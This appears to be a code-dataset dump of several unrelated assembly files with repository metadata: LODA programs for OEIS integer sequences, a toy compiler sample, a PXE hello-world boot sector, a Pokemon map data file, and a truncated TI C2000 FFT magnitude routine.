00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
TheStack
dc639b4e4f8996cb743c7a4c6ce557b06322e4b4
Assemblycode:Assembly
{"size": 287, "ext": "asm", "max_stars_repo_path": "programs/oeis/004/A004323.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/004/A004323.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/004/A004323.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"}
{"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 31.8888888889, "max_line_length": 193, "alphanum_fraction": 0.8013937282}
; A004323: Binomial coefficient C(3n,n-5). ; 1,18,210,2024,17550,142506,1107568,8347680,61523748,445891810,3190187286,22595200368,158753389900,1108176102180,7694644696200,53194089192720,366395202809685,2515943049305400,17231414395464984 mov $1,3 mul $1,$0 add $1,15 bin $1,$0 mov $0,$1
TheStack
e3215cfc301af29837487b64545b0f308a7bffd3
Assemblycode:Assembly
{"size": 710, "ext": "asm", "max_stars_repo_path": "oeis/173/A173484.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/173/A173484.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/173/A173484.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"}
{"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 44.375, "max_line_length": 500, "alphanum_fraction": 0.8478873239}
; A173484: a(n) = the smallest number ending in n+1 zeros divisible by n. ; Submitted by Jon Maiga ; 100,1000,30000,100000,1000000,30000000,700000000,1000000000,90000000000,100000000000,11000000000000,30000000000000,1300000000000000,7000000000000000,30000000000000000,100000000000000000,17000000000000000000,90000000000000000000,1900000000000000000000,1000000000000000000000,210000000000000000000000,1100000000000000000000000,23000000000000000000000000,30000000000000000000000000,100000000000000000000000000,13000000000000000000000000000,270000000000000000000000000000,700000000000000000000000000000 mov $1,$0 add $1,1 mov $0,$1 mov $2,10 pow $2,$1 mul $0,$2 gcd $1,$2 div $0,$1 mul $0,9 div $0,90 mul $0,100
TheStack
d42f34f7a83274ed4222ca4b591724e7dbcbafad
Assemblycode:Assembly
{"size": 488, "ext": "asm", "max_stars_repo_path": "programs/oeis/186/A186749.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/186/A186749.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/186/A186749.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"}
{"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 54.2222222222, "max_line_length": 251, "alphanum_fraction": 0.5696721311}
; A186749: a(n) = phi(n - phi(n) + 3). ; 2,2,2,4,2,6,2,6,2,6,2,10,2,10,4,10,2,8,2,8,4,8,2,18,4,16,4,18,2,20,2,18,8,12,6,18,2,22,6,18,2,20,2,18,8,18,2,24,4,20,10,30,2,24,6,24,8,20,2,46,2,24,8,24,8,42,2,24,12,42,2,32,2,40,18,42,8,36,2,32,8,24,2,36,8,46,16,32,2,44,10,32,12,32,12,66,2,58,12,36 seq $0,16035 ; a(n) = Sum_{j|n, 1 < j < n} phi(j). Also a(n) = n - phi(n) - 1 for n > 1. mov $1,3 add $1,$0 seq $1,10 ; Euler totient function phi(n): count numbers <= n and prime to n. mov $0,$1
TheStack
12a798608919f3c8253554b7d06339b46381cd66
Assemblycode:Assembly
{"size": 686, "ext": "asm", "max_stars_repo_path": "oeis/083/A083886.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/083/A083886.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/083/A083886.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"}
{"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 40.3529411765, "max_line_length": 481, "alphanum_fraction": 0.8134110787}
; A083886: Expansion of e.g.f. exp(3*x)*exp(x^2). ; Submitted by Jamie Morken(s1) ; 1,3,11,45,201,963,4899,26253,147345,862083,5238459,32957037,214117209,1433320515,9867008979,69734001357,505212273441,3747124863747,28418591888235,220152270759597,1740363304031721,14027180742479043,115176800996769411,962726355659386125,8186311912829551281,70769800810139187843,621624998071895127579,5544904636342923150573,50202463804911106340985,461122051049937015455043,4295109053834655214142259,40552650224500186569729357,387954712011249182986008129,3759233750401759489420703235 mov $2,1 mov $4,1 lpb $0 sub $0,1 mov $3,$4 mul $3,2 mov $4,$2 add $2,$3 mul $4,$0 add $4,$2 lpe mov $0,$2
TheStack
36f365814263b03e24b572b8fb713ac22f0397d1
Assemblycode:Assembly
{"size": 295, "ext": "asm", "max_stars_repo_path": "examples/demo-grammar/tinyc/src/samples/sample_5_ifwhile.asm", "max_stars_repo_name": "fossabot/FlyLab", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/demo-grammar/tinyc/src/samples/sample_5_ifwhile.asm", "max_issues_repo_name": "fossabot/FlyLab", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/demo-grammar/tinyc/src/samples/sample_5_ifwhile.asm", "max_forks_repo_name": "fossabot/FlyLab", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 7.7631578947, "max_line_length": 16, "alphanum_fraction": 0.6847457627}
FUNC @main: var n push 10 pop n _begWhile_1: push n push 0 cmpne jz _endWhile_1 push n print "n = %d" _begIf_1: push n push 5 cmpeq jz _elIf_1 jmp _endWhile_1 jmp _endIf_1 _elIf_1: _endIf_1: push n push 1 sub pop n jmp _begWhile_1 _endWhile_1: push 0 ret ~ ENDFUNC
TheStack
8611a1fe646e9944232ecd716c6f45f5e9df9200
Assemblycode:Assembly
{"size": 375, "ext": "asm", "max_stars_repo_path": "oeis/135/A135984.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/135/A135984.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/135/A135984.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"}
{"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 37.5, "max_line_length": 211, "alphanum_fraction": 0.7253333333}
; A135984: a(n) = 24(prime(n))+7. ; Submitted by Jon Maiga ; 55,79,127,175,271,319,415,463,559,703,751,895,991,1039,1135,1279,1423,1471,1615,1711,1759,1903,1999,2143,2335,2431,2479,2575,2623,2719,3055,3151,3295,3343,3583,3631,3775,3919,4015,4159,4303,4351,4591,4639,4735 mul $0,2 trn $0,1 seq $0,173919 ; Numbers that are prime or one less than a prime. mul $0,24 add $0,31
TheStack
d29bee4f2478ca8eae8531cf9b7360cfa1f615e2
Assemblycode:Assembly
{"size": 967, "ext": "asm", "max_stars_repo_path": "boot.asm", "max_stars_repo_name": "xigh/go-pxe-server", "max_stars_repo_stars_event_min_datetime": "2020-03-24T04:03:24.000Z", "max_stars_repo_stars_event_max_datetime": "2020-03-24T04:03:24.000Z", "max_issues_repo_path": "boot.asm", "max_issues_repo_name": "xigh/go-pxe-server", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "boot.asm", "max_forks_repo_name": "xigh/go-pxe-server", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 20.1458333333, "max_line_length": 66, "alphanum_fraction": 0.3784901758}
; nasm -o boot.bin boot.asm bits 16 org 0x7c00 start: ; hide cursor mov ah, 0x01 mov cx, 0x2607 int 0x10 ; disable interruptions cli ; initialize segment registers xor ax, ax mov ds, ax mov ax, 0xb800 mov es, ax ; clear screen mov ax, 0x1f00 xor di, di mov cx, 80*25 rep stosw ; write hello world xor di, di mov si, message print: lodsb test al, al jz next stosb mov al, 0x1f stosb jmp print next: nop ; initialize 64 bits iloop: jmp iloop message db "Hello, this is PXE Network Boot Program !", 0
TheStack
7075473880f5261f79e6493c73bf568ce2327d77
Assemblycode:Assembly
{"size": 380, "ext": "asm", "max_stars_repo_path": "oeis/103/A103976.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/103/A103976.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/103/A103976.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"}
{"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 42.2222222222, "max_line_length": 219, "alphanum_fraction": 0.7210526316}
; A103976: Partial sums of A040976 (= primes-2). ; Submitted by Jon Maiga ; 0,1,4,9,18,29,44,61,82,109,138,173,212,253,298,349,406,465,530,599,670,747,828,915,1010,1109,1210,1315,1422,1533,1658,1787,1922,2059,2206,2355,2510,2671,2836,3007,3184,3363,3552,3743,3938,4135,4344,4565,4790,5017,5248 mov $2,$0 seq $0,101301 ; The sum of the first n primes, minus n. sub $0,$2 sub $0,1
TheStack
d25e5375532a499480c3fb8ab4bc6760ddaed938
Assemblycode:Assembly
{"size": 954, "ext": "asm", "max_stars_repo_path": "data/mapObjects/seafoamislands2.asm", "max_stars_repo_name": "adhi-thirumala/EvoYellow", "max_stars_repo_stars_event_min_datetime": "2018-08-28T21:47:01.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-20T20:29:59.000Z", "max_issues_repo_path": "data/mapObjects/seafoamislands2.asm", "max_issues_repo_name": "adhi-thirumala/EvoYellow", "max_issues_repo_issues_event_min_datetime": "2019-04-03T19:53:11.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-11T22:49:34.000Z", "max_forks_repo_path": "data/mapObjects/seafoamislands2.asm", "max_forks_repo_name": "adhi-thirumala/EvoYellow", "max_forks_repo_forks_event_min_datetime": "2019-12-09T19:46:02.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-05T21:36:30.000Z"}
{"max_stars_count": 16, "max_issues_count": 5, "max_forks_count": 2, "avg_line_length": 35.3333333333, "max_line_length": 75, "alphanum_fraction": 0.7421383648}
SeafoamIslands2Object: db $7d ; border block db $7 ; warps db $2, $4, $0, SEAFOAM_ISLANDS_3 db $5, $7, $4, SEAFOAM_ISLANDS_1 db $7, $d, $2, SEAFOAM_ISLANDS_3 db $f, $13, $3, SEAFOAM_ISLANDS_3 db $f, $17, $6, SEAFOAM_ISLANDS_1 db $b, $19, $5, SEAFOAM_ISLANDS_3 db $3, $19, $5, SEAFOAM_ISLANDS_1 db $0 ; signs db $2 ; objects object SPRITE_BOULDER, $11, $6, STAY, BOULDER_MOVEMENT_BYTE_2, $1 ; person object SPRITE_BOULDER, $16, $6, STAY, BOULDER_MOVEMENT_BYTE_2, $2 ; person ; warp-to EVENT_DISP SEAFOAM_ISLANDS_2_WIDTH, $2, $4 ; SEAFOAM_ISLANDS_3 EVENT_DISP SEAFOAM_ISLANDS_2_WIDTH, $5, $7 ; SEAFOAM_ISLANDS_1 EVENT_DISP SEAFOAM_ISLANDS_2_WIDTH, $7, $d ; SEAFOAM_ISLANDS_3 EVENT_DISP SEAFOAM_ISLANDS_2_WIDTH, $f, $13 ; SEAFOAM_ISLANDS_3 EVENT_DISP SEAFOAM_ISLANDS_2_WIDTH, $f, $17 ; SEAFOAM_ISLANDS_1 EVENT_DISP SEAFOAM_ISLANDS_2_WIDTH, $b, $19 ; SEAFOAM_ISLANDS_3 EVENT_DISP SEAFOAM_ISLANDS_2_WIDTH, $3, $19 ; SEAFOAM_ISLANDS_1
TheStack
0926d16aa52893553d6743e41d658bfc0f0bc6e1
Assemblycode:Assembly
{"size": 13693, "ext": "asm", "max_stars_repo_path": "c2000/C2000Ware_1_00_06_00/libraries/dsp/FPU/c28/source/fft/CFFT_f32s_mag_TMU0.asm", "max_stars_repo_name": "ramok/Themis_ForHPSDR", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "c2000/C2000Ware_1_00_06_00/libraries/dsp/FPU/c28/source/fft/CFFT_f32s_mag_TMU0.asm", "max_issues_repo_name": "ramok/Themis_ForHPSDR", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "c2000/C2000Ware_1_00_06_00/libraries/dsp/FPU/c28/source/fft/CFFT_f32s_mag_TMU0.asm", "max_forks_repo_name": "ramok/Themis_ForHPSDR", "max_forks_repo_forks_event_min_datetime": "2021-07-21T08:10:37.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-21T08:10:37.000Z"}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 45.1914191419, "max_line_length": 93, "alphanum_fraction": 0.4106477762}
;;############################################################################# ;;! \file source/fft/CFFT_f32s_mag_TMU0.asm ;;! ;;! \brief Complex FFT scaled magnitude calculations using TMU0 ;;! \author David M. Alter, Alex Tessarolo ;;! \date 11/06/14 ;; ;; HISTORY: ;; 11/06/14 - original (D. Alter, A. Tessarolo) ;; ;; DESCRIPTION: ;; ;; Calculates the scaled magnitude for the 32-bit floating point complex FFT. ;; Requires a C28x device with TMU0 or higher. ;; On non-TMU devices, use the CFFT_f32s_mag() function. ;; ;; FUNCTIONS: ;; ;; void CFFT_f32s_mag (CFFT_F32_STRUCT_Handle) ;; ;; where CFFT_F32_STRUCT_Handle is defined as: ;; typedef CFFT_F32_STRUCT* CFFT_F32_STRUCT_Handle; ;; ;; and where CFFT_F32_STRUCT is a structure defined as: ;; ;; typedef struct { ;; float *InPtr; ;; float *OutPtr; ;; float *CoefPtr; ;; float *CurrentInPtr; ;; float *CurrentOutPtr; ;; uint16_t Stages; ;; uint16_t FFTSize; ;; } CFFT_F32_STRUCT; ;; ;; ASSUMPTIONS: ;; ;; * CFFT_f32() has been called prior to this function ;; * Stages must be at least 3 (FFTSize >= 8) ;; * FFTSize must be at least 8 and even. ;; ;; ALGORITHM: ;; ;; Calculate the complex FFT scaled magnitude. The data is organized as ;; follows in the output buffer after calculating FFT: ;; ;; +----------------------------+ ;; | R(0) | 0 ;; | I(0) | ;; | R(1) | ;; | I(1) | ;; . . ;; . . ;; . . ;; . . ;; | R(FFTSize/2) = fs/2 | ;; | I(FFTSize/2) | ;; . . ;; . . ;; . . ;; . . ;; | R(N-2) | ;; | I(N-2) | ;; | R(N-1) | ;; | I(N-1) | FFTSize - 1 ;; +----------------------------+ ;; ;; CODE OPTIMIZATION: ;; ;; The loop was spatially unrolled twice and temporally unrolled once to ;; eliminate FPU delay slots. ;; ;; BENCHMARK: 5 cycles/complex value + overhead ;; ;; On Entry: XAR4 = &CFFT_F32_STRUCT ;; ;; Group: C2000 ;; Target Family: C28x+FPU32 ;; ;;############################################################################# ;;$TI Release: C28x Floating Point Unit Library V1.50.00.00 $ ;;$Release Date: Oct 18, 2018 $ ;;$Copyright: Copyright (C) 2018 Texas Instruments Incorporated - ;; http://www.ti.com/ ALL RIGHTS RESERVED $ ;;############################################################################# ;---------------------------------------------------------------------- ; CFFT_F32_STRUCT structure offsets from XAR4 ;---------------------------------------------------------------------- ;CFFT_InPtr .set (0*2) ;CFFT_OutPtr .set (1*2) ;CFFT_CoefPtr .set (2*2) ;CFFT_CurrentInPtr .set (3*2) ;CFFT_CurrentOutPtr .set (4*2) ;CFFT_Stages .set (5*2) ;CFFT_FFTSize .set (CFFT_Stages+1) ;=========================================================================== ; Function: void CFFT_f32s_mag_TMU0(CFFT_F32_STRUCT_Handle) ;=========================================================================== .global _CFFT_f32s_mag_TMU0 .text _CFFT_f32s_mag_TMU0: MOV32 *SP++, R7H ; Save R7H (save-on-entry register) MOV32 *SP++, R6H ; Save R6H (save-on-entry register) MOV32 *SP++, R5H ; Save R5H (save-on-entry register) MOV32 *SP++, R4H ; Save R4H (save-on-entry register) ADDB XAR4, #6 MOVL XAR5, *+XAR4[2] ; XAR5 = &CurrentOutPtr MOVL XAR6, *+XAR4[0] ; XAR6 = &CurrentInPtr ;--- Calculate the scale factor MOV AL, *+XAR4[4] ; AL = stages SUBB AL, #2 ; AL = scale_value counter MOV AR7, AL ; AR7 = scale_value counter MOVIZF32 R7H,#1.0 ; R7H = 1.0 _cfft_f32s_scale_value: MPYF32 R7H,R7H,#0.5 ; R7H = scale BANZ _cfft_f32s_scale_value, AR7-- MPYF32 R7H,R7H,R7H ; R7H = scale*scale ;--- Compute main loop count MOV AL, *+XAR4[5] ; AL = FFTSize LSR AL, #2 ; AL = FFTSize/4 SUBB AL, #3 ; Init loop counter to (N-1) minus 2 ; more for prologue/epilogue MOV32 *SP++, R7H ; Save scale to stack ;---------------------------------------------------------------------- ; Begin magnitude calculations ;---------------------------------------------------------------------- ;--- Loop prologue ;Iteration block 2 MOV32 R0H, *XAR6++ ; R0H = Re[i+0] MPYF32 R0H, R0H, R0H ; R0H = Re[i+0]*Re[i+0] || MOV32 R1H, *XAR6++ ; R1H = Im[i+0] ;Iteration block 3 MPYF32 R1H, R1H, R1H ; R1H = Im[i+0]*Im[i+0] || MOV32 R2H, *XAR6++ ; R0H = Re[i+1] MPYF32 R2H, R2H, R2H ; R2H = Re[i+1]*Re[i+1] ADDF32 R1H, R1H, R0H ; R1H = (Re[i+0]*Re[i+0]) + (Im[i+0]*Im[i+0]) || MOV32 R3H, *XAR6++ ; R3H = Im[i+1] ;Iteration block 0 MPYF32 R3H, R3H, R3H ; R3H = Im[i+1]*Im[i+1] || MOV32 R0H, *-SP[2] ; R0H = scale factor, iteration [i+0] MPYF32 R1H, R1H, R0H ; R1H = scale*[(Re[i+0]*Re[i+0]) + (Im[i+0]*Im[i+0])] || MOV32 R4H, *XAR6++ ; R4H = Re[i+2] MPYF32 R4H, R4H, R4H ; R4H = Re[i+2]*Re[i+2] ADDF32 R3H, R3H, R2H ; R3H = (Re[i+1]*Re[i+1]) + (Im[i+1]*Im[i+1]) || MOV32 R5H, *XAR6++ ; R5H = Im[i+2] SQRTF32 R1H, R1H ; R1H = sqrt[(Re[i+0]*Re[i+0]) + (Im[i+0]*Im[i+0])] ;Iteration block 1 MPYF32 R5H, R5H, R5H ; R5H = Im[i+2]*Im[i+2] || MOV32 R2H, *-SP[2] ; R2H = scale factor, iteration [i+1] MPYF32 R3H, R3H, R2H ; R3H = scale*[(Re[i+1]*Re[i+1]) + (Im[i+1]*Im[i+1])] || MOV32 R6H, *XAR6++ ; R6H = Re[i+3] MPYF32 R6H, R6H, R6H ; R6H = Re[i+3]*Re[i+3] ADDF32 R5H, R5H, R4H ; R5H = (Re[i+2]*Re[i+2]) + (Im[i+2]*Im[i+2]) || MOV32 R7H, *XAR6++ ; R7H = Im[i+3] SQRTF32 R3H, R3H ; R3H = sqrt[(Re[i+1]*Re[i+1]) + (Im[i+1]*Im[i+1])] ;Iteration block 2 MPYF32 R7H, R7H, R7H ; R7H = Im[i+3]*Im[i+3] || MOV32 R4H, *-SP[2] ; R4H = scale factor, iteration [i+2] MPYF32 R5H, R5H, R4H ; R5H = scale*[(Re[i+2]*Re[i+2]) + (Im[i+2]*Im[i+2])] || MOV32 R0H, *XAR6++ ; R0H = Re[i+0] MPYF32 R0H, R0H, R0H ; R0H = Re[i+0]*Re[i+0] || MOV32 *XAR5++,R1H ; Store mag[i+0] ADDF32 R7H, R7H, R6H ; R7H = (Re[i+3]*Re[i+3]) + (Im[i+3]*Im[i+3]) || MOV32 R1H, *XAR6++ ; R1H = Im[i+0] SQRTF32 R5H, R5H ; R5H = sqrt[(Re[i+2]*Re[i+2]) + (Im[i+2]*Im[i+2])] ;Iteration block 3 MPYF32 R1H, R1H, R1H ; R1H = Im[i+0]*Im[i+0] || MOV32 R6H, *-SP[2] ; R6H = scale factor, iteration [i+3] MPYF32 R7H, R7H, R6H ; R7H = scale*[(Re[i+3]*Re[i+3]) + (Im[i+3]*Im[i+3])] || MOV32 R2H, *XAR6++ ; R2H = Re[i+1] MPYF32 R2H, R2H, R2H ; R2H = Re[i+1]*Re[i+1] || MOV32 *XAR5++,R3H ; Store mag[i+1] ADDF32 R1H, R1H, R0H ; R1H = (Re[i+0]*Re[i+0]) + (Im[i+0]*Im[i+0]) || MOV32 R3H, *XAR6++ ; R3H = Im[i+1] SQRTF32 R7H, R7H ; R7H = sqrt[(Re[i+3]*Re[i+3]) + (Im[i+3]*Im[i+3])] ;--- Loop body _cfft_f32s_calc_mag: RPTB _cfft_f32s_mag_end, @AL ;Iteration block 0 MPYF32 R3H, R3H, R3H ; R3H = Im[i+1]*Im[i+1] || MOV32 R0H, *-SP[2] ; R0H = scale factor, iteration [i+0] MPYF32 R1H, R1H, R0H ; R1H = scale*[(Re[i+0]*Re[i+0]) + (Im[i+0]*Im[i+0])] || MOV32 R4H, *XAR6++ ; R4H = Re[i+2] MPYF32 R4H, R4H, R4H ; R4H = Re[i+2]*Re[i+2] || MOV32 *XAR5++,R5H ; Store mag[i+2] ADDF32 R3H, R3H, R2H ; R3H = (Re[i+1]*Re[i+1]) + (Im[i+1]*Im[i+1]) || MOV32 R5H, *XAR6++ ; R5H = Im[i+2] SQRTF32 R1H, R1H ; R1H = sqrt[(Re[i+0]*Re[i+0]) + (Im[i+0]*Im[i+0])] ;Iteration block 1 MPYF32 R5H, R5H, R5H ; R5H = Im[i+2]*Im[i+2] || MOV32 R2H, *-SP[2] ; R2H = scale factor, iteration [i+1] MPYF32 R3H, R3H, R2H ; R3H = scale*[(Re[i+1]*Re[i+1]) + (Im[i+1]*Im[i+1])] || MOV32 R6H, *XAR6++ ; R6H = Re[i+3] MPYF32 R6H, R6H, R6H ; R6H = Re[i+3]*Re[i+3] || MOV32 *XAR5++,R7H ; Store mag[i+3] ADDF32 R5H, R5H, R4H ; R5H = (Re[i+2]*Re[i+2]) + (Im[i+2]*Im[i+2]) || MOV32 R7H, *XAR6++ ; R7H = Im[i+3] SQRTF32 R3H, R3H ; R3H = sqrt[(Re[i+1]*Re[i+1]) + (Im[i+1]*Im[i+1])] ;Iteration block 2 MPYF32 R7H, R7H, R7H ; R7H = Im[i+3]*Im[i+3] || MOV32 R4H, *-SP[2] ; R4H = scale factor, iteration [i+2] MPYF32 R5H, R5H, R4H ; R5H = scale*[(Re[i+2]*Re[i+2]) + (Im[i+2]*Im[i+2])] || MOV32 R0H, *XAR6++ ; R0H = Re[i+0] MPYF32 R0H, R0H, R0H ; R0H = Re[i+0]*Re[i+0] || MOV32 *XAR5++,R1H ; Store mag[i+0] ADDF32 R7H, R7H, R6H ; R7H = (Re[i+3]*Re[i+3]) + (Im[i+3]*Im[i+3]) || MOV32 R1H, *XAR6++ ; R1H = Im[i+0] SQRTF32 R5H, R5H ; R5H = sqrt[(Re[i+2]*Re[i+2]) + (Im[i+2]*Im[i+2])] ;Iteration block 3 MPYF32 R1H, R1H, R1H ; R1H = Im[i+0]*Im[i+0] || MOV32 R6H, *-SP[2] ; R6H = scale factor, iteration [i+3] MPYF32 R7H, R7H, R6H ; R7H = scale*[(Re[i+3]*Re[i+3]) + (Im[i+3]*Im[i+3])] || MOV32 R2H, *XAR6++ ; R2H = Re[i+1] MPYF32 R2H, R2H, R2H ; R2H = Re[i+1]*Re[i+1] || MOV32 *XAR5++,R3H ; Store mag[i+1] ADDF32 R1H, R1H, R0H ; R1H = (Re[i+0]*Re[i+0]) + (Im[i+0]*Im[i+0]) || MOV32 R3H, *XAR6++ ; R3H = Im[i+1] SQRTF32 R7H, R7H ; R7H = sqrt[(Re[i+3]*Re[i+3]) + (Im[i+3]*Im[i+3])] _cfft_f32s_mag_end: ;--- Loop epilogue ;Iteration block 0 MPYF32 R3H, R3H, R3H ; R3H = Im[i+1]*Im[i+1] || MOV32 R0H, *-SP[2] ; R0H = scale factor, iteration [i+0] MPYF32 R1H, R1H, R0H ; R1H = scale*[(Re[i+0]*Re[i+0]) + (Im[i+0]*Im[i+0])] || MOV32 R4H, *XAR6++ ; R4H = Re[i+2] MPYF32 R4H, R4H, R4H ; R4H = Re[i+2]*Re[i+2] || MOV32 *XAR5++,R5H ; Store mag[i+2] ADDF32 R3H, R3H, R2H ; R3H = (Re[i+1]*Re[i+1]) + (Im[i+1]*Im[i+1]) || MOV32 R5H, *XAR6++ ; R5H = Im[i+2] SQRTF32 R1H, R1H ; R1H = sqrt[(Re[i+0]*Re[i+0]) + (Im[i+0]*Im[i+0])] ;Iteration block 1 MPYF32 R5H, R5H, R5H ; R5H = Im[i+2]*Im[i+2] || MOV32 R2H, *-SP[2] ; R2H = scale factor, iteration [i+1] MPYF32 R3H, R3H, R2H ; R3H = scale*[(Re[i+1]*Re[i+1]) + (Im[i+1]*Im[i+1])] || MOV32 R6H, *XAR6++ ; R6H = Re[i+3] MPYF32 R6H, R6H, R6H ; R6H = Re[i+3]*Re[i+3] || MOV32 *XAR5++,R7H ; Store mag[i+3] ADDF32 R5H, R5H, R4H ; R5H = (Re[i+2]*Re[i+2]) + (Im[i+2]*Im[i+2]) || MOV32 R7H, *XAR6++ ; R7H = Im[i+3] SQRTF32 R3H, R3H ; R3H = sqrt[(Re[i+1]*Re[i+1]) + (Im[i+1]*Im[i+1])] ;Iteration block 2 MPYF32 R7H, R7H, R7H ; R7H = Im[i+3]*Im[i+3] || MOV32 R4H, *-SP[2] ; R4H = scale factor, iteration [i+2] MPYF32 R5H, R5H, R4H ; R5H = scale*[(Re[i+2]*Re[i+2]) + (Im[i+2]*Im[i+2])] MOV32 *XAR5++,R1H ; Store mag[i+0] ADDF32 R7H, R7H, R6H ; R7H = (Re[i+3]*Re[i+3]) + (Im[i+3]*Im[i+3]) SQRTF32 R5H, R5H ; R5H = sqrt[(Re[i+2]*Re[i+2]) + (Im[i+2]*Im[i+2])] ;Iteration block 3 MOV32 R6H, *-SP[2] ; R6H = scale factor, iteration [i+3] MPYF32 R7H, 